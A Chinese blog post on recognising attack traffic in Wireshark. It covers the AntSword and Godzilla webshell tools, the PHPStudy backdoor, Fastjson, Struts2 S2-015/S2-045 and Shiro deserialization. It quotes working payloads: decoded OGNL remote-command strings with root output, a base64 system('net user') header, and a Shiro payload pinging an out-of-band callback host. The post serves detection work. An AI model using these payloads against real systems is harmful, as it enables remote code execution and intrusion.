恶意流量特征分析
Published in:2023-06-29 | category: 前端 网络安全

分析工具:

Wireshark,在线解密网站

蚁剑的流量特征

  • UA:antSword/v2.1
  • 请求数据:key=(一段加密的内容)
  • 返回数据通常为请求数据解密后执行的命令

实例:

image.png
如图,根据 HTTP 流分析,UA 为 antSword/v2.1,将请求数据进行 URL 解密后如下

1
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "0f07cc1a1";echo @asenc($output);echo "020ae6da1ca4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

哥斯拉的流量特征

  • 通常 POST 请求,没有 GET 请求
  • 大部分 payload 使用 AES 加密,php 使用异或加密
  • 服务器返回的 Content-Length 为 0
  • 请求的数据中都含有密码”pass=”

实例:

image.png
请求包:
image.png
返回包:Content-Length:0
image.png

PHPstudy 后门的流量特征

  • Accept-Charset 字段中有着其不该有的值

实例:

image.png
Accpet-Charset 字段中的内容:
c3lzdGVtKCJuZXQgdXNlciIpOw==
Base64 解密后:
system("net user");
返回包的数据:
image.png

Fastjson 反序列化漏洞的流量特征

Fastjson 1.2.24 反序列化漏洞

  • 特征为请求数据中含有”@type”字段
  • 原理:Fastjson 在处理以@type 形式传入的类时,会默认调用该类的共有 set\get\is 函数

实例:

image.png

Fastjson <=1.2.47 反序列化漏洞

  • 特征为请求数据中含有”@type”:”java.lang.Class”字段
  • 原理:利用@type 加载 dedserializers 中的 java.lang.class 类,里面传参要添加的类,从而调用 TypeUtils.loadClass()类来添加 com.sun.rowset.jdbcRowSetlmpl 类到 mapping 函数里,最后实现调用@type 的值

实例:

Structs2 漏洞的流量特征

Structs S2-015 远程代码执行漏洞

  • payload 后面加上了.action
  • 远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断 OGNL 代码两次)的请求,利用该漏洞执行任意 OGNL 代码。

实例:

image.png
payload:

1
/S2-015/%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23m.setAccessible(true)%2c%23m.set(%23_memberAccess%2ctrue)%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2c%23q%7d.action

URL 解码后的内容:

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

可以看到回显中被执行的内容:

1
uid%3D0%28root%29%20gid%3D0%28root%29%20groups%3D0%28root%29%0A.jsp

URL 解码后的内容:

1
2
uid=0(root) gid=0(root) groups=0(root)
.jsp

命令执行成功

Structs S2-045 远程代码执行漏洞

  • 该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
  • payload 在 content-type 中

实例:

image.png

payload:

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

执行的命令:whoami
回显的内容:
image.png
命令执行成功

Shiro 反序列化漏洞的流量特征

  • payload 是构造 Cookie 的 RememberMe 的值
  • RememberMe 的值经过了 AES 加密、Base64 编码
  • 请求包中 RememberMe 的值通常为 512 字节,攻击者构造的 payload 的值一般远高于 512 字节

实例:

image.png
将 RememberMe 的内容通过 Shiro RememberMe 在线解密的网站进行解密操作:
image.png
分析解密后的数据可以看到应该为 Runtime.getRuntime().exec()这类函数执行了 ping 命令

1
java/lang/Runtime* getRuntime()Ljava/lang/Runtime;,- +.ping shiro.l3jj9e.ceye.io0exec'(Ljava/lang/String;)Ljava/lang/Process;

可以判断遭受到了 Shiro 反序列漏洞的攻击

Prev:
微信小程序抓包与反编译
Next:
输入法